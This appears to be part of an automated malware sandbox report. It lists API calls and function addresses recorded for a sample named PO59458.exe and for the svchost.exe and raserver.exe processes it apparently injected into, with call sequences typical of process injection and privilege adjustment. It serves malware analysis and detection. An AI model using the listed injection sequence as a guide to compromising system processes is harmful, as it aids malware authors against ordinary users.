Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72C20 NtSetInformationFile,	2_2_02D72C20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72DC0 NtAdjustPrivilegesToken,	2_2_02D72DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72DA0 NtReadVirtualMemory,	2_2_02D72DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D72D50 NtWriteVirtualMemory,	2_2_02D72D50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B534E0 NtCreateMutant,LdrInitializeThunk,	4_2_04B534E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B54570 NtSuspendThread,LdrInitializeThunk,	4_2_04B54570
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B54260 NtSetContextThread,LdrInitializeThunk,	4_2_04B54260
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52CF0 NtDelayExecution,LdrInitializeThunk,	4_2_04B52CF0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52C30 NtMapViewOfSection,LdrInitializeThunk,	4_2_04B52C30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52C50 NtUnmapViewOfSection,LdrInitializeThunk,	4_2_04B52C50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52DA0 NtReadVirtualMemory,LdrInitializeThunk,	4_2_04B52DA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52D10 NtQuerySystemInformation,LdrInitializeThunk,	4_2_04B52D10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52ED0 NtResumeThread,LdrInitializeThunk,	4_2_04B52ED0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52E00 NtQueueApcThread,LdrInitializeThunk,	4_2_04B52E00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52E50 NtCreateSection,LdrInitializeThunk,	4_2_04B52E50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52F00 NtCreateFile,LdrInitializeThunk,	4_2_04B52F00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B538D0 NtGetContextThread,LdrInitializeThunk,	4_2_04B538D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B529F0 NtReadFile,LdrInitializeThunk,	4_2_04B529F0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52A80 NtClose,LdrInitializeThunk,	4_2_04B52A80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52AC0 NtEnumerateValueKey,LdrInitializeThunk,	4_2_04B52AC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52A10 NtWriteFile,LdrInitializeThunk,	4_2_04B52A10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52B90 NtFreeVirtualMemory,LdrInitializeThunk,	4_2_04B52B90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52B80 NtCreateKey,LdrInitializeThunk,	4_2_04B52B80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52BC0 NtQueryInformationToken,LdrInitializeThunk,	4_2_04B52BC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52B10 NtAllocateVirtualMemory,LdrInitializeThunk,	4_2_04B52B10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52B00 NtQueryValueKey,LdrInitializeThunk,	4_2_04B52B00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B53C90 NtOpenThread,	4_2_04B53C90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52CD0 NtEnumerateKey,	4_2_04B52CD0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B53C30 NtOpenProcessToken,	4_2_04B53C30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52C20 NtSetInformationFile,	4_2_04B52C20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52C10 NtOpenProcess,	4_2_04B52C10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52DC0 NtAdjustPrivilegesToken,	4_2_04B52DC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52D50 NtWriteVirtualMemory,	4_2_04B52D50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52EB0 NtProtectVirtualMemory,	4_2_04B52EB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52E80 NtCreateProcessEx,	4_2_04B52E80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52EC0 NtQuerySection,	4_2_04B52EC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52FB0 NtSetValueKey,	4_2_04B52FB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52F30 NtOpenDirectoryObject,	4_2_04B52F30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B529D0 NtWaitForSingleObject,	4_2_04B529D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52AA0 NtQueryInformationFile,	4_2_04B52AA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52BE0 NtQueryVirtualMemory,	4_2_04B52BE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B52B20 NtQueryInformationProcess,	4_2_04B52B20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B29200 NtClose,	4_2_02B29200
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B29360 NtAllocateVirtualMemory,	4_2_02B29360
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B29070 NtReadFile,	4_2_02B29070
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B29160 NtDeleteFile,	4_2_02B29160
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B28F00 NtCreateFile,	4_2_02B28F00

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_00434D50: GetFullPathNameW,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_004461ED DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\PO59458.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00443391	0_2_00443391
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0041A46B	0_2_0041A46B
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0041240C	0_2_0041240C
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00446566	0_2_00446566
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004045E0	0_2_004045E0
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0041D750	0_2_0041D750
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_004037E0	0_2_004037E0
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00427859	0_2_00427859
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00412818	0_2_00412818
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0040F890	0_2_0040F890
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0042397B	0_2_0042397B
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00411B63	0_2_00411B63
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0047CBF0	0_2_0047CBF0
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044EBBC	0_2_0044EBBC
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00412C38	0_2_00412C38
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0044ED9A	0_2_0044ED9A
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00423EBF	0_2_00423EBF
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_00424F70	0_2_00424F70
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0041AF0D	0_2_0041AF0D
Source: C:\Users\user\Desktop\PO59458.exe	Code function: 0_2_0441F768	0_2_0441F768
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02168403	2_2_02168403
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02151200	2_2_02151200
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02152270	2_2_02152270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02152B93	2_2_02152B93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02152BA0	2_2_02152BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0217E993	2_2_0217E993
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021529D0	2_2_021529D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0215FE83	2_2_0215FE83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02152ED0	2_2_02152ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0215DEF9	2_2_0215DEF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0215DF03	2_2_0215DF03
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0215FC5A	2_2_0215FC5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0215FC63	2_2_0215FC63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0216659C	2_2_0216659C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021525F0	2_2_021525F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_021665E3	2_2_021665E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2D2EC	2_2_02D2D2EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF124C	2_2_02DF124C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D31380	2_2_02D31380
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4E310	2_2_02D4E310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF330	2_2_02DFF330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4B0D0	2_2_02D4B0D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF70F1	2_2_02DF70F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D300A0	2_2_02D300A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEE076	2_2_02DEE076
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D451C0	2_2_02D451C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B1E0	2_2_02D5B1E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D8717A	2_2_02D8717A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D2F113	2_2_02D2F113
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD130	2_2_02DDD130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0010E	2_2_02E0010E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFA6C0	2_2_02DFA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF6F6	2_2_02DFF6F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3C6E0	2_2_02D3C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB36EC	2_2_02DB36EC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40680	2_2_02D40680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DED646	2_2_02DED646
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D64670	2_2_02D64670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5C600	2_2_02D5C600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDD62C	2_2_02DDD62C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF6757	2_2_02DF6757
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D42760	2_2_02D42760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4A760	2_2_02D4A760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40445	2_2_02D40445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF5C9	2_2_02DFF5C9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF75C6	2_2_02DF75C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0A526	2_2_02E0A526
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFA89	2_2_02DFFA89
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5FAA0	2_2_02D5FAA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFEA5B	2_2_02DFEA5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFCA13	2_2_02DFCA13
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB4BC0	2_2_02DB4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40B10	2_2_02D40B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFB2E	2_2_02DFFB2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF18DA	2_2_02DF18DA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D428C0	2_2_02D428C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF78F3	2_2_02DF78F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D56882	2_2_02D56882
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DB98B2	2_2_02DB98B2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D49870	2_2_02D49870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5B870	2_2_02D5B870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFF872	2_2_02DFF872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D26868	2_2_02D26868
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43800	2_2_02D43800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0835	2_2_02DE0835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3E9A0	2_2_02D3E9A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFE9A6	2_2_02DFE9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF9ED2	2_2_02DF9ED2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D32EE8	2_2_02D32EE8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D41EB2	2_2_02D41EB2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF0EAD	2_2_02DF0EAD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D60E50	2_2_02D60E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DE0E6D	2_2_02DE0E6D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF1FC6	2_2_02DF1FC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D46FE0	2_2_02D46FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFEFBF	2_2_02DFEFBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFF63	2_2_02DFFF63
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4CF00	2_2_02D4CF00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D58CDF	2_2_02D58CDF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02E0ACEB	2_2_02E0ACEB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D5FCE0	2_2_02D5FCE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DD9C98	2_2_02DD9C98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DEEC4C	2_2_02DEEC4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D43C60	2_2_02D43C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF6C69	2_2_02DF6C69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFEC60	2_2_02DFEC60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D30C12	2_2_02D30C12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D4AC20	2_2_02D4AC20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D49DD0	2_2_02D49DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DDFDF4	2_2_02DDFDF4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D52DB0	2_2_02D52DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DF7D4C	2_2_02DF7D4C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D40D69	2_2_02D40D69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02D3AD00	2_2_02D3AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_02DFFD27	2_2_02DFFD27
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AAD5F1	3_2_04AAD5F1
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA4E48	3_2_04AA4E48
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA4E51	3_2_04AA4E51
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AAB78A	3_2_04AAB78A
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AAB7D1	3_2_04AAB7D1
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA30E7	3_2_04AA30E7
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA30F1	3_2_04AA30F1
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AA5071	3_2_04AA5071
Source: C:\Program Files (x86)\rUxCYbbYTWJlNRpAviHfbxvhlygCYGAnWKqFeSVdLgYbEdchruxSFeoKTtcjvSsLQA\mLKlRmqOwZ.exe	Code function: 3_2_04AC3B81	3_2_04AC3B81
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B20445	4_2_04B20445
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDF5C9	4_2_04BDF5C9
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD75C6	4_2_04BD75C6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BEA526	4_2_04BEA526
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B20680	4_2_04B20680
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDF6F6	4_2_04BDF6F6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B1C6E0	4_2_04B1C6E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B936EC	4_2_04B936EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDA6C0	4_2_04BDA6C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BBD62C	4_2_04BBD62C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B3C600	4_2_04B3C600
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B44670	4_2_04B44670
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BCD646	4_2_04BCD646
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B22760	4_2_04B22760
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B2A760	4_2_04B2A760
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD6757	4_2_04BD6757
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B100A0	4_2_04B100A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD70F1	4_2_04BD70F1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B2B0D0	4_2_04B2B0D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BCE076	4_2_04BCE076
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B3B1E0	4_2_04B3B1E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B251C0	4_2_04B251C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BBD130	4_2_04BBD130
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B0F113	4_2_04B0F113
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BE010E	4_2_04BE010E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B6717A	4_2_04B6717A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B0D2EC	4_2_04B0D2EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B11380	4_2_04B11380
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDF330	4_2_04BDF330
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B2E310	4_2_04B2E310
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BB9C98	4_2_04BB9C98
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B3FCE0	4_2_04B3FCE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BEACEB	4_2_04BEACEB
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B38CDF	4_2_04B38CDF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B2AC20	4_2_04B2AC20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B10C12	4_2_04B10C12
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B23C60	4_2_04B23C60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD6C69	4_2_04BD6C69
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDEC60	4_2_04BDEC60
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BCEC4C	4_2_04BCEC4C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B32DB0	4_2_04B32DB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BBFDF4	4_2_04BBFDF4
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B29DD0	4_2_04B29DD0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDFD27	4_2_04BDFD27
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B1AD00	4_2_04B1AD00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B20D69	4_2_04B20D69
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD7D4C	4_2_04BD7D4C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B21EB2	4_2_04B21EB2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD0EAD	4_2_04BD0EAD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B12EE8	4_2_04B12EE8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD9ED2	4_2_04BD9ED2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BC0E6D	4_2_04BC0E6D
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B40E50	4_2_04B40E50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDEFBF	4_2_04BDEFBF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B26FE0	4_2_04B26FE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD1FC6	4_2_04BD1FC6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B2CF00	4_2_04B2CF00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDFF63	4_2_04BDFF63
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B998B2	4_2_04B998B2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B36882	4_2_04B36882
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BD78F3	4_2_04BD78F3
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B228C0	4_2_04B228C0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BC0835	4_2_04BC0835
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B23800	4_2_04B23800
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B29870	4_2_04B29870
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B3B870	4_2_04B3B870
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDF872	4_2_04BDF872
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B06868	4_2_04B06868
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B1E9A0	4_2_04B1E9A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDE9A6	4_2_04BDE9A6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B3FAA0	4_2_04B3FAA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDFA89	4_2_04BDFA89
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDCA13	4_2_04BDCA13
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDEA5B	4_2_04BDEA5B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B94BC0	4_2_04B94BC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04BDFB2E	4_2_04BDFB2E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_04B20B10	4_2_04B20B10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B11BE0	4_2_02B11BE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B152B0	4_2_02B152B0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B13490	4_2_02B13490
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B13449	4_2_02B13449
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0CB10	4_2_02B0CB10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0CB07	4_2_02B0CB07
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B2B840	4_2_02B2B840
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0ADB0	4_2_02B0ADB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0ADA6	4_2_02B0ADA6
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 4_2_02B0CD30	4_2_02B0CD30
